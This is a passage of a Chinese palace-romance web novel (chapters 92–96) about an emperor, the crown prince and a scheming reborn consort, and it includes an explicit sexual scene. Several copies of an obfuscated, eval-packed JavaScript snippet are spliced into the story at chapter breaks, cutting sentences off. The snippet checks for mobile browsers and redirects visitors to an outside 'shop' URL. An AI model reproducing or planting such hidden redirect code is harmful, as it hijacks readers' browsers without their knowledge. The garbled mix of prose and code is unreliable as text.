他脸色苍白,眼睛闪闪发亮,“儿臣听人说,母妃性子最是纯善,刚直不屈。母妃若知道父皇今日所作所为,该有多失望,父皇您想过没有!” 一句话,把顾辰枭钉死在地上。 皇帝面上不露什么,胸口却不住地剧烈起伏。 太子搬出贵妃,一句句地指责自己,负心,夺走儿子心爱的女人,是对不起贵妃。 若是何樱还活着,知道如今这状况…… 她也会很难过。 如一根细细的针直刺顾辰枭心口,他痛得身上颤抖了一下。 顾辰枭对何樱,是年少时期的相知相许,一起经历过夺嫡的风风雨雨,本该携手一生。 她是唯一能与皇帝并肩的爱人。 江澜因比不上。 顾辰枭自问,他会为了江澜因,让何樱伤心痛苦吗? 答案是…… 否定的。 可是…… “太子,你若不满此事,大可以直说。你为何要如此陷害贞贵嫔?”太子不是放不下她吗?怎么舍得她受这么大的委屈? 担这么大的风险? 顾言泽磕头,再抬起头来,眼中一片坚定,“父皇,儿臣为了父皇和母妃,也为了儿臣自己和因因的身后名,不得不如此。这册封礼是父皇一言九鼎,起居注上已有记载,若父皇不能明白儿臣的苦心,着力抹去,儿臣再怎么劝谏,也是徒劳。” 所以,太子以这么酷烈的手段毁了江澜因的册封礼。 为的就是逼迫皇帝出手,将筹备册封礼的痕迹彻底抹除。 最好连“贞贵嫔”这个人一起…… 顾言泽:“父皇,还请原谅儿臣一片苦心。” 他重重磕头下去,额头抵着冰凉的金砖。因想要咳嗽又拼命忍住,身子微微颤抖。 知道皇帝半晌不语,就是认可了自己所说。 只要父皇现在就放下宠幸因因的念头,再等上几个月,一年半载,冷着因因,让她被众人遗忘。 太子就能想法子,让因因死遁出宫。 因因还是他的女人,谁也夺不走…… 念头尚未转完,顾言泽听到皇帝冷沉的声音自头顶压下: “好心机,好谋算。太子这样的计谋,竟用来对付一个深宫之中的小姑娘。” 顾言泽脊背一僵。 那不是普普通通的小姑娘,他是她的因因啊! 抬头,正对上皇帝黑沉的一双眸子。 一点冷意自身下金砖传导上来,攀上小腿,冻住腰身,渗进心口。 “父皇,儿臣没有算计……” “顾言泽,你每一句话说的都对,都是大义。可朕告诉你!朕的樱儿若还在,绝不会使这等上不得台面的手段!她还会,以你今日的行径为耻!” “父皇,儿臣都是为了您,没想过要对因因怎么样。儿臣怎会针对她……” “这还不是算计,什么是算计?太子,你可想过,若是朕盛怒之下,真的对因因做了什么,该怎么办?还是说,你就是想让朕迁怒因因,废了因因,好便宜你?” “父皇……” 心中最隐秘的想法,被皇帝毫不留情地揭开。 顾言泽一时眼前一阵发黑,几乎连呼吸都滞住。 “朕有没有告诉过你,不许再对因因起心思?有没有告诉过你,离她远一点!你可好,你竟对她使手段!” 顾辰枭黑沉的眸中闪着残忍的亮光,“因因她知道你是这样的人吗?” 所有血色从顾言泽面上瞬间褪去,“因因她……她不会怪儿臣……” “是吗?” 顾辰枭冷冷地看着跪在地上的亲生儿子,声音冷锐,“太子今日说的话,朕会一字不落,全告诉因因。朕现在就可以告诉你,她知道了,会恨你怨你,会瞧不起你!” 顾言泽抬头。 一向最疼爱他的父皇,在他身前,身形矗立如铁塔。 投下的暗影,将他从头到脚整个人笼罩住。 沉重的威压压得太子几乎窒息。 顾辰枭不再看他,“朕本想给你留些颜面。” “父皇……” “来人,去瑞福殿,将三等侍卫庞云,处死!” 顾言泽猛地瞪大眼睛,几乎不敢相信自己听到的,“父皇,为何要如此……” 此事庞云根本没有参与!他压根儿不知道。 顾言泽:“父皇,您是不是误会了什么?庞侍卫无辜……” “他不无辜。他错就错在,跟了你这么个主子!” 太子嘴唇瞬间白了,颤抖着说不出话来。 原来……父皇早就知道庞云是自己的人!丽嫔出事,皇帝放过庞云,原来不是不知道,只是……给自己这个储君,留些颜面而已! 现在……却也不必了。 处死庞云,是打了太子一记响亮的耳光。 皇帝:“处死前,清清楚楚告诉庞云,他是为什么死的,叫他做个糊涂鬼!” 再次看向顾言泽的目光,刀锋一般冷锐,“即日起,东宫守卫再加一倍。若再叫太子走出去一次,东宫所有下人,都和庞云一样!” 这是帝王下的死令。 瞬间就剥夺了顾言泽身为太子,对东宫臣属的管辖。 明明白白告诉他们,听太子的,会死。 太子不再是他们的储君。 反倒成了他们的囚徒。 顾辰枭:“太子,你不是劝因因禁足,说让她走出去,就是害了她吗?如今,这禁足的滋味,你也给朕好好尝一尝。” “父皇……” 顾辰枭不容他再说,转身拂袖而去。 出东宫。 顾辰枭余怒未消,“都不准跟着朕!” 他要静静。 孤身一人,皇帝眉宇间爬上沉沉的倦意。 他看向封禁多年的咸福宫方向,“樱儿,是不是朕这个父皇当得不够好?咱们的孩子,怎么变成了如今这副模样?” 懦弱,算计,心胸狭隘。 “樱儿,他不像朕,也不像你……” 皇帝一个人信步走着。 偌大的后宫,处处都有当年贵妃的痕迹。他还记得她在莲花池旁抚琴,在高台上跳舞,伴在御书房里作画…… 当时只道是寻常! 冷风吹着顾辰枭有些发热的额头,耳边传来一阵琴声。 是当年贵妃最爱的《梦西洲》。 自贵妃死后,宫中再未有人弹过…… 顺着隐约琴声寻去,出现在顾辰枭眼前的,是翊坤宫。 皇帝面色不愉,背在身后的手指一点点攥紧。 太子如此行事固然可恶,可江澜因……她真的什么都不知道,真的是无辜的吗? 第92章 她无辜? 第九十二章她无辜? 若说那珊瑚头冠和礼服是太子送去的,江澜因不知情。 可这《梦西洲》,本就是极生僻的曲子。不用心**学,又怎会弹得出? 因因她,当真就没有一点借贵妃争宠的心思? 只怕,也未必。 顾辰枭心中发沉,一言不发,进了翊坤宫。 院中下人刚要行礼跪拜,顾辰枭冲他们摇了摇手。 下人都是些人精,知道皇帝是要悄悄儿进去看贞贵嫔,一声儿不敢出,都退了出去。 顾辰枭一步步入内。 琴声愈发清晰,如流水潺潺,清冽无比。 皇帝无声地进到室内。 被摔坏的珠帘已撤了下去,换成了月白色重重叠叠的薄纱。轻风吹拂,薄纱款动,映出内间女子抚琴的倩影。 顾辰枭知道那是江澜因。 只会是江澜因。 可她……太像了。 女孩侧着身子对着自己,一身浅紫色高腰裙,微透的缠枝莲刻花纱上襦,隐隐可见纤细的锁骨。 右腕高抬,袖间一抹幽光。 是自己赐给她的赤金镶八宝镯。 她如此伤心失意,却还戴着。 月白色纱帘内。 江澜因冰柱一般的十指轮舞。指尖下,琴弦微颤,琴音有异。 眸光微微一闪,江澜因不必回头,就清楚听见纱帘外的气息。她身子微微往膝上的绿绮琴上伏去,示意一旁的春枝不要动,不要回头。 知道是皇上来了。 春枝心如擂鼓,硬撑着一动不动。 片刻后。 却只听着身后传来一阵脚步声,竟是渐行渐远。 皇帝不进来? 他竟走了? 春枝再也忍不住疑惑,看向自家小姐。 江澜因手下依旧不紧不慢地按着琴弦,弹下去。 唇角挑起一个冷笑。 堂堂皇帝,竟就这么落荒而逃。 是不敢面对她,还是不敢面对自己……早已忘了贵妃,转恋他人的事实? 帝王之尊又如何?还不是根本不敢直视自己的心? 江澜因一早知道那珊瑚头冠是贵妃的遗物——前世,顾言泽曾和她形容过,她心思深,记住了。 重生一世,第一眼瞧见那东西,江澜因就知道是顾言泽的手笔。 要坏她的册封典礼,让她开罪于皇帝,最好能因此失宠。 顾言泽使得出这样的手段,他不愧是何皇后养大的孩子,和何皇后一样,为达目的不择手段。 知道是陷阱,江澜因还是跳了下去,义无反顾。 她自然有她想要的东西。 手上越来越快,琴声激越,隐隐似有金石之声。 突地, “锵——”地一声。 琴弦崩断。 琴声止息。 差一步走出翊宫的顾辰枭身形猛地滞住。 “因因!” 他顾不上旁的,折身返回。 一把掀开月白色轻纱,两人四目相对。 顾辰枭只见江澜因眼眶红肿,整个人楞楞地,古琴搁在膝上。 右手食指指尖,果然一道血痕。 “你伤着了。” 顾辰枭迈着大步过来,一把攥住女孩小手。 “皇上,疼……” 微凉的小手,游鱼一般,在男人掌心挣了挣。 又滑又软,却终是没挣开。 “皇上……” 江澜因樱唇轻启,声音如琴弦般微微发着颤,钻入皇帝耳中。 顾辰枭腰身微微发僵。 对上女孩不知哭了多少次的泪眼。 顾辰枭没唤太医,他握着江澜因的手,将受伤的指尖含入口中。 腥甜的气息弥散开来。 女孩柔嫩的手指如一条小蛇,剐蹭着口内软肉。触感在顾辰枭体内,漾起奇异的涟漪。一圈圈扩大,难以消弭。 “皇上,您是不是……不要因因了?” 带着哭腔的声音一出。 男人什么都顾不得了。 一把揽住江澜因腰身,贴近她耳侧。 “没有,因因。朕永远不会不要你。” 带着血腥气的舌尖,舔舐江澜因耳垂,将那殷红如血的珊瑚珠,一并吞入口中。 不知何时,春枝早无声地退了出去。 薄纱帐内,两道身影痴缠在一起。 顾辰枭昨夜几乎彻夜未眠。 他太累了,也太压抑。 动作激烈处,一阵阵的恍惚,已不知身上的女子,到底是贞贵嫔江澜因,还是…… “樱儿,朕的樱儿……” 男人嘶哑的声音一出。 江澜因身子微滞。 汗滴顺着纤细的脖颈,滴落在皇帝胸前。 微凉。 顾辰枭眼睫轻颤,似蝴蝶一般,正要扬起。 看清她的脸。 女孩纤细的小手覆了上去。 眼前笼罩下来一片馨甜的黑暗,皇帝什么都看不见了。 感官被刺激,触觉被放至最大。 心底无限的渴望,凝在一声声低唤中,“樱儿,樱儿……朕……要你……” 好半晌,男人听得一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他一动,身旁的江澜因身子随之一颤,慢慢睁开眼睛。 “皇上……” “因因。”男人声音嘶哑,“朕想问你,你……” “皇上,别问。” 女孩纤细的指尖抵在男人有些干燥的唇边,“求您,别再问了。都是因因的错,因因……认罪。” 眸中温柔缱绻之意瞬间褪去,露出底下坚冰。 皇帝面色发冷。 贵妃旧物一事,江澜因果然知情! 她,不无辜! 第93章 帝王的真心,一文不值 第九十三章帝王的真心,一文不值 顾辰枭:“你罪在何处?” 声音低沉,微冷,一双眼睛鹰隼般锐利地盯着眼前的江澜因,好似她是猎物。 江澜因低下头去,柔嫩如春鸭的脖颈展露在皇帝眼前。 声音细微,发颤,“皇上,您别问了,您……罚因因吧。” 竟是直接认了罪。 如今,江澜因这副柔弱的样子,再激不起顾辰枭丝毫的怜悯。 在这后宫之中,她已经得到了这么多,却还是不知足! 竟肖想取代樱儿在自己心中的位置! 男人的大手,带着威压,覆盖在江澜因后颈突出的脊骨上。他没有如何用力,江澜因已觉得沉重,头都几乎抬不起来。 顾辰枭:“因因,你真的让朕失望极了。” 淡淡的一句话,男人察觉到掌下的肌肤一片战栗。 她怕了。 顾辰枭:“事到如今,后悔吗?” 可后悔也迟了。 他马上就会颁布圣旨,这后宫里,再也不会有贞贵嫔这个人了。 若不罚她,简直就是,对樱儿的亵渎! 拇指和中指微微发力,轻而易举地将女孩细弱的后颈掐在手里,掌控着她的性命。 “皇上,就算您要因此处死因因,因因也心甘情愿……” 皇帝只是淡淡的,“你确实该死。” “可因因临死之前,还想说一句……因因不悔。入宫那日,不悔。刚才,不悔。冒作贵妃,答了皇上的话,叫皇上得到一时安慰,也不悔。若再来一次,皇上唤,因因还是会答……” 江澜因没抬头,大滴大滴的眼泪银线一般,垂直坠下。 顾辰枭微微一愣。 刚才缱绻时的记忆慢慢浮现。 是他……情难自禁,唤出了“樱儿”的名字。 是她,答应的? 不是做梦? 当时心底产生的悸动、满足,如海潮一般,再一次漫上来。至少在那一刻,他是真的信了…… 他的樱儿死而复生,和他在一起。 成全他那一朝幻梦的,是江澜因。 手上力气渐松,顾辰枭苦涩道:“只是如此?” 江澜因这才抬起头来。刚才,她已是哭得喘不上气来,不过强忍着才没有出声。 一张湿漉漉的小脸直对着顾辰枭,满脸疑惑、心碎,“皇上,因因还该做什么,能让您好受些?” 顾辰枭并未全然放下疑虑,“你抚的琴曲,是谁教你的?” “臣女父亲自幼给为臣女请的教师。怎么,有何不妥?” 顾辰枭按了按眉心,这才想起…… 江澜因曾经在盛京也有才女之名,据说琴技本就高超,对曲谱过耳不忘。 那《梦西洲》,或许她也只是在别处听到过而已。 皇帝:“你册封礼的礼服、头冠,是何处来的?不是你叫人准备的吗?” 这话一出,江澜因小脸上眼睛瞪得更大,她小心翼翼试探:“自己准备礼服?皇上,这、这不逾矩吗?” 一句话怼得顾辰枭有些说不出话来。 是啊,这本不合规矩。 再说,太子都已经认了罪…… 自己却非要怀疑她,栽派到她身上。自己这个皇帝,对眼前的小姑娘,太严苛了…… 她年纪那么小,怎么会知道何贵妃昔日的旧事? 是自己想多了,却要怪她。 “因因……”皇帝声音嘶哑,“刚才,为何要应朕的话?朕唤的樱儿,是贵妃。” 在她面前说这样的话,很残忍。 顾辰枭:“你不是她,朕不需要你成为她。往后,再勿要如此。” 江澜因身子剧烈地颤抖了一下。 她重又低下头去,极轻极轻地应了一声,“……是,皇上。因因记住了。” 低头,是为了掩住脸上笑意。 皇帝……太可笑了。 口中说着不要,刚才,身体可是诚实得不行。 一系列反应,都清清楚楚让江澜因知道,何樱在皇帝心中的地位是重中之重。 男人啊,心里想着一个,一点也不妨碍他们压着别的女人行事。 还有口口声声说什么深情。 男人的真心,帝王的真心……这世间最不值钱的东西。 不过…… 顾辰枭心底,对何樱的眷恋、愧疚、保护欲,江澜因打算全盘收下,变做自己往上爬的养料。 她一字不提被耽搁了的册封礼,只是柔顺地依偎在皇帝身旁。 愧疚感在心间一闪而过,顾辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江澜因现在哪有这样的机会?文氏说的,莫非是……文师师? 第94章 她像极了贵妃曾经模样 第九十四章她像极了贵妃曾经模样 “住口!你疯了不成?都什么时候了,还想着你那侄女儿!” 靖威侯大声打断文氏的自言自语,“江澜因不好,就是侯府不好,你那侄女儿岂能好得了?” 文氏身子一颤,从恍惚中惊醒过来,骇得脸色苍白。 只能跟着靖威侯一起骂江澜因大胆,不孝。 “……依着我说,咱们该主动找皇上请罪。不然,只怕皇上误会这背后,侯府有什么,可不就糟了?” 一句话,说到靖威侯心里。 “你和本侯一起去,务必要跟皇上解释清楚!” 两人就这么跪在了御书房前。 好半晌,才被叫进。 一进屋内,头都不敢抬,靖威侯便扑通一声跪下。 “江澜因不孝,竟做出这等大逆不道的事来。微臣不敢求皇上宽宥,只求、只求……勿要牵连侯府。” 顾辰枭一愣。 下意识想回头,看屏风后面的江澜因。 却忍住。 看向地上跪着的两个人,“你们巴巴儿求见朕,要说的,就是这个?” 连一句女儿怎么样了,都不问? 靖威侯跪在地上,只觉皇帝语气沉沉。 是动了真怒。 他心中愈发不安,把江澜因骂了千百遍。 “是……微臣刚听说那逆女的行事,也是惊骇欲死。都是臣平日里没教好她,皇上该怎么罚就怎样罚,臣绝无一句怨言。只是,侯府无辜。” 说罢,拽了拽文氏衣角。 文氏忙道:“皇上,臣妇平日里竟不知江澜因怀的那样心思,还请皇上责罚。只求饶了侯府上下,一百多口性命。” 她心尖尖上的文师师还养在侯府,不能**澜因连累了。 皇帝声音响起:“哦?那依你们的意思,因因该当如何?” 靖威侯敢说话,暗地里拿眼睛示意文氏。 猝不及防间,文氏突然觉得自己得了惩治江澜因的机会。要叫她好好地吃一番苦头,她才能知道,什么是尊长,什么是尊卑! 文氏心一横,“皇上,臣妇平日里娇纵江澜因太过,让她不知天高地厚。依臣妇的想头,不如降她的位份,或打板子,或掌嘴,只一次,她就记住,往后再也不敢了。若皇上信臣妇,臣妇愿意代劳……” 这话说出口,连靖威侯都捏着一把汗。 心里期盼皇帝答应。罚了江澜因,可就不能再罚侯府了! “打板子?掌嘴?” 皇帝轻声笑了一下,“你们,倒很忠心。” 他伸手,自屏风后牵出江澜因来,语气不辨情绪,“因因,你爹娘,要罚你呢。” 靖威侯、文氏猛地一愣。 不知江澜因也在。 文氏开口就是指责,“因因,你好不知礼,竟偷听爹娘说话。你就眼睁睁看着爹娘跪在地上,跪你?” 顾辰枭也看着江澜因。 江澜因走出来时,眼眶已微微发红。受了文氏这一番指责,直接坠下泪来。 “我、我竟不知,爹娘是这样想我的。娘想打我,打便是了,何必说这样的话?何必随口栽派罪名到我身上?” 边说,边忍不住地流泪。 文氏最听不得江澜因顶撞,下意识便道:“女儿家身家性命都是爹娘的,不过是打你,叫你记住往后不可再放肆。什么大不了的事?还敢哭?这是爹娘教导你,待你好!” 顾辰枭攥着女孩手腕的手紧了紧。 “因因,有什么话要和你爹娘说,说便是了。朕在这里。” 会为江澜因撑腰。 她如今已是皇家妇,莫说贵嫔的位份比靖威侯还高,就算只是个普普通通九品采女之流,是皇帝的女人,在臣子面前,就是君。 岂有臣要罚君的道理? 简直倒反天罡,不知所谓! 顾辰枭示意江澜因摆出贵嫔的款儿,训斥文氏,叫她知礼。 不想他的因因,见了爹娘,根本硬气不起来。 她眼含热泪,幽幽道:“爹娘总是这般,不问青红皂白就要罚我。” “幼时,明明是表妹自家做梦惊醒,娘却怪我呼吸声沉重,吓到了她。叫我一整夜跪在外面,不准合眼。” “表妹跑的急跌倒磕碰了腿,娘心疼她,却非说是我追逐嬉闹所致,要打我的小。表妹痊愈了,我还在榻上躺着起不来。” “凡事我有的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17246970|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表妹喜欢,都夺去给表妹。我多说一句,便是不孝……” 她回忆着,语气平淡,眼中却不断流泪。 文氏心中莫名发慌,“如今说的是你触怒皇上,你又胡乱攀扯你表妹做什么?” 顾辰枭却是心中一悸。 何贵妃何樱,因是庶女,在闺阁中时,也是常受嫡母为难、苛待。 她的小娘,又是个软骨头不争气的,一味依附,只知道罚何樱。 明明是何芙自己受惊做噩梦,何夫人却罚何樱跪在外头。两姊妹嬉闹,或是口角,终归是何樱倒霉。她未嫁入王府前,连衣裳首饰都不成套…… 林林种种,何樱或有意或无意透露出来的细节。 让皇帝拼凑出她在闺中的日子。 竟与江澜因这么像…… 顾辰枭到此刻才察觉出,为何两人模样分明不像,江澜因却能叫他一下子就想到何樱,甚至在那一瞬间……误认做了何樱。 因为她们在闺中,都过过苦日子。爹不疼,娘不爱。 她们自幼被打压得可怜,性子柔弱,一时间立不起来,也是有的。 不该苛责。 应该由他这个皇帝来护着。 文氏张了张口,还要说什么。 “够了。”皇帝冷冷地一声,“谁说,因因触怒了朕?” 此言一出,靖威侯、文氏都愣了。 两人你看我,我看你,竟不敢出声。 最终还是靖威侯颤巍巍道:“皇上传唤微臣等入宫,本是要观礼。可如今册封礼搁置,微臣想着,定是江澜因她有什么不对……” 江澜因脸色苍白,咬着嘴唇垂下头,偷看顾辰枭。 见她这个心虚的神情,靖威侯心底才舒了一口气。到底是江澜因的错,都怪她…… 皇帝用力攥了攥江澜因的手,安她的心。 “不是因因的错,更不是她触怒了朕。” “朕压着她的册封礼,不过是因为……” “册封礼错了。” 什么? 靖威侯、文氏惊诧不已。皇帝这是什么意思?什么叫做,册封礼错了? 皇帝:“贵嫔的册封礼,配不上朕的因因。她如今,是妃了。” 第95章 偏偏她有这样的娘 第九十五章偏偏她有这样的娘 从嫔,到贵嫔,再到妃。 这才几日? 靖威侯夫妇对视一眼,满脸惊异,难以置信,宛如身在梦中。 皇帝声音却转冷,“是谁告诉你们,因因触怒了朕?” 两人身子一抖,惊醒。额头抵在地上瑟瑟发抖,一句话也说不出来。 可皇帝问话,岂能不答? 靖威侯不敢说自己是偷听到的。他急中生智,张口道:“是……是文氏,都是这个蠢妇浑说的!微臣一时糊涂,竟就信了!” 文氏嘴唇哆嗦,“臣妇没有……” 可她从前就曾做过在皇帝跟前,胡乱替江澜因认罪的事。 顾辰枭并不信她。 皇帝眼中,文氏只是一个无底线偏心娘家,又蠢,拎不清的无知妇人。 可怜,偏因因有这样的娘。 他将江澜因拉过来,护在身边。 要册她为妃,自然不能惩处她爹娘太过,不然她面上无光。 “靖威侯,你乃世代勋爵,该知道不可偏听偏信。” “是、是……微臣知错了。” “既入宫观礼,便多住一日半日,待因因的册封礼结束,再走。” 靖威侯只觉脚下金砖都软绵绵的,他好似踩在云里,昏头涨脑,又惊又喜。 却听皇帝紧接着:“只是,靖威侯夫人不幸得了癔症。观礼毕,回到侯府,侯爷该好生管束,不叫她操劳。她这样,若再见外客,到处胡说,就太不妥了。” 文氏猛地一愣。 她已失了掌家权。 皇帝这竟是暗示靖威侯,说她疯了,要软禁她,不许她见人! 旁人都还罢了。 可她的敬哥哥怎么办? 他好容易回京,还等着要见文师师。 “因因,你不替娘求情?你怎能……” “靖威侯夫人,”皇帝冷冷打断文氏的话,“朕念你是因因亲生母亲,你御前胡言乱语的罪过,朕不怪你。你该谨言慎行,不然……” 他语气极淡。 靖威侯心里发毛。他蹦起来,死死捂住文氏的嘴,把她往外拖。 “皇上,这是个疯妇!微臣知道该怎么做,不劳皇上、娘娘费心!” 开什么玩笑? 他们靖威侯府没落百年,终于出了一位娘娘,一位宠妃! 要发达了! 谁也不能挡江澜因的青云路! 文氏和她那个侄女儿更不行! 看着两人狼狈离去的模样,江澜因一张小脸上什么神情都没有。 靖威侯是个见风使舵,心志不坚之人。入宫吃了一日惊吓,又得了这天大的惊喜,够他得意一阵子。 至于文氏…… 细看她脸色,眼中水气弥漫,腮上隐隐泛着桃花红。 显是见到了她那位心上人。得了人家承诺,开始做起美梦来了。 是好事。 前世,文师师仗着这对爹娘。娘攫取侯府资源,**澜因为她铺路。爹在暗处筹谋多年,关键时刻跳出来给江澜因致命一击。 这辈子,江澜因要送他们这一家子下地狱,团团圆圆。 “因因……” 男人环在她腰上的大手紧了紧。 江澜因依偎在皇帝怀中,一抬头,面上换了悲戚之色。 她眨了眨眼睛,委屈道:“爹娘向来待因因偏严苛些。” 顾辰枭心中知道,那不是严苛。 是偏心。 当年的何家,偏心何芙,可她毕竟是长房嫡女,情有可原。可侯府竟然偏心侯夫人的侄女,一个八竿子打不着的外人。 为何? 难不成…… 那个文师师,真有什么? 不过碍着太子**的事没查明,皇帝姑且留着文师师的性命。若她还敢兴风作浪,顾辰枭不介意送她**。 皇帝脸色转缓,“因因,今日是你封妃的大好日子,不说那些不开心的。” 江澜因眼神闪烁,有些不安,“皇上说的,可是真的?” “朕金口玉言,岂能有假?怎么,你不高兴?” “嫔妾……自然是高兴的。可皇上这样做,是不是,不合规矩?” 后宫祖制,皇后、贵妃之下,有四妃。 要么是出身大族,皇室也要给三分颜面;要么是诞育皇子,对皇室有功;最次一等,也需长久伴驾。 似江澜因这种母族不显,不曾生育,才伴驾没几日的。 封妃,根本轮不到她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17246971|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江澜因:“皇上为嫔妾出气,嫔妾心中感激。可嫔妾不愿皇上因此事受非议,都是因因的过错……” 小小的年纪,却这般懂事。 叫人心疼。 想起顾言泽,年纪比江澜因还大不少,却幼稚,私自,不懂事。 皇帝揽住江澜因肩膀,“朕还有些话,先回翊坤宫再说。” 翊坤宫中,皇帝屏退从人,才拉江澜因坐到他身边。 坦诚道:“朕早先误会了你,是因那珊瑚头冠与礼服,都是先头贵妃的东西。朕误以为,你特意穿戴起来,要争宠。” 江澜因白了脸,“皇上,因因没有,真的没有……” 又害怕,又委屈,看着快要哭了。 顾辰枭:“不是你,你可知是谁的手臂?” 江澜因大眼睛转了转,小心翼翼,“送东西来的宫人说,是贤妃姐姐宫里的。可贤妃姐姐待嫔妾向来亲善,她怎会?定然不是她,是误会。” “呵……”皇帝轻笑一声,“的确不是她。” 贤妃,没那个本事。 顾辰枭双手扳着江澜因肩膀,与她双眼对视。 “因因,你听朕说。是太子。” 江澜因小嘴微张,似吃惊到了极致,“太子殿下?可、可为何?他为何要陷害我?他可是,恨我吗?” 说着,眼泪扑簌簌而下。 皇帝眸色微沉,“因因,你为何哭?可是被伤了心?” “嫔妾……是害怕。” “怕什么?都已经过去了。你往后是妃,是太子的庶母。他见了你,要叫一声贞娘娘。” 皇帝声音淡淡的,“怎么,你不愿意?” 江澜因拼命摇头,“是后怕……太子殿下平日里看着性子温润,待人宽和。嫔妾只是没想到,他、他会对我下手!嫔妾有运道,没做太子妃,反倒有幸伺候在皇上身边。皇上护着嫔妾,不然、不然……” 她哭得说不出话来。 身子轻抖,耳边浓粉色碧玺耳坠跟着乱颤,一点红芒映在她莹白如玉的腮边。 “皇上,嫔妾真是侥幸、侥幸有您……” 顾辰枭呼吸一滞。 “侥幸?侥幸有……朕?” 这样的话,他的樱儿,也曾说过。 第96章 再给她一次机会 第九十六章再给她一次机会 “因因……” 男人声音发哑,抬手轻拂江澜因鬓边碎发,“这话,可是太子对你说过?” 不是太子,还能有谁? 江澜因瞪大眼睛,“怎会?太子殿下虽与嫔妾曾有婚约,可他与嫔妾一直相敬如宾,未说过这样的体己话。” 这倒是真话。 从前,顾言泽待她并不好。 不然也不会明知道自己死遁会害了江澜因,还毅然决然地做了。 至于现在,顾言泽连亲娘的故衣都祭出来,只为了破坏册封礼,不是出于对江澜因的眷恋。 不过是男人争强好胜的本能作祟罢了。 江澜因眼泪汪汪,“若不是皇上信嫔妾,这样的计谋,嫔妾百口莫辩,只怕只能以死明志……” 美丽,单纯,却性子刚烈。 真得很像……何樱。 心口平白一紧,想起何樱临死时,满是眷恋,不舍闭上的眼睛。 “因因……”顾辰枭语气发涩,“不准说这种话。你还要陪着朕,千秋万世。” 他拥江澜因入怀。 自然没看到江澜因挑起的唇角。 皇帝走后。 江澜因:“邱姐姐,出来吧。你都听清楚了?” 邱嫔从门外绕进。 她**澜因藏在相隔的房间内。那房间墙壁极薄,内里的对话,听得清清楚楚。 皇帝说,此事是太子做的。 “可怎会?太子殿下的性子像极了小姐,他怎会做出这等事来?” 邱嫔声音颤抖,还沉浸在不可置信之中。 太子顾言泽……她亲眼看着这孩子出生,听过他来这世间的第一声啼哭,在奄奄一息的贵妃榻前跪下发誓,一定会护住太子,一生一世。 “入宫几年,小姐虽是贵妃,可到底上面的皇后压着,她的日子不好过。怀上殿下后,更是日日忧思,为着防范皇后,竭尽了心血。” “可到底,还是未防住,中了毒。” “太医说,要清除毒素,除非先拿到小姐腹中的孩子。小姐不肯,舍不得。” “她……她叫我,上了龙床……” 邱嫔眼眶发红,用力闭上眼睛,忍住眼泪。 那时,贵妃说:“月影,我自知……未必能看着孩子长大,怕孩子给我那嫡妹害了。你聪慧,我只能靠你了。” “我去求皇上,纳了你。你往后护着我的孩儿,平安一生。” 小姐救过她的性命,救过她一家子。 邱月影无法拒绝,只得含泪爬上龙床。 可她出身太低,做到嫔位,已是到头了。这么多年,明里暗里护着太子,殚精竭虑…… 却万万没想到。 自己拼上性命,搭上一生护着的孩子。 竟然……变成了这样! 他为自保,谋求算计,本没有错。 可不该算计一个本就险些被他害了一辈子的后宫弱女子! 邱月影之所以念着何樱恩情,是因为她把她这个下人当人。可太子呢? 他这么做,可曾把江澜因当成过和自己一样有血有肉的人? 邱嫔双手颤抖得厉害。 这样的人,真的只得她花费一生心血,去守护吗? 一只纤细的手,覆上她的手背。 掌心的暖意,虽微弱,却切切实实地透过肌肤传导过来。 邱嫔睁开眼。 对上江澜因莹白的小脸。 江澜因好似能猜到她内心的想法一般,清越的声音响起: “邱姐姐,太子不值得你追随。” “可我值得。” “你也值得。” 因为邱嫔性子坚韧,聪慧,有情有义。 江澜因多给她一次机会。 她眨了眨眼睛,樱粉色的唇微启,吐出蛊惑的话语: “若不是为保这个孩子,贵妃也不会死。” 邱嫔眼睛猛地瞪大。 当年,她得知何樱**的真相,跪地恳求,“小姐,你自己的身子要紧,孩子……往后还会再有的!” 所有知情人都求她,落了这个孩子,先养好自己的身子。 何樱不肯,“这是我的孩子!是本宫与皇帝的血肉!我怎忍心害他?” 邱嫔:“这不是害他!只是让他晚些再出世,他若有灵,也会心疼母亲,他会肯的!” 那一刻,邱嫔清清楚楚看见小姐眼中闪过一丝犹豫。 纤手抚上肚腹,却骤然攥紧。 何樱:“不!他是我的孩子!我往后护不住他,已是亏欠。怎能夺去他性命?” 她看向邱月影,目光中多了一分厉色,“此事往后不准再提! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 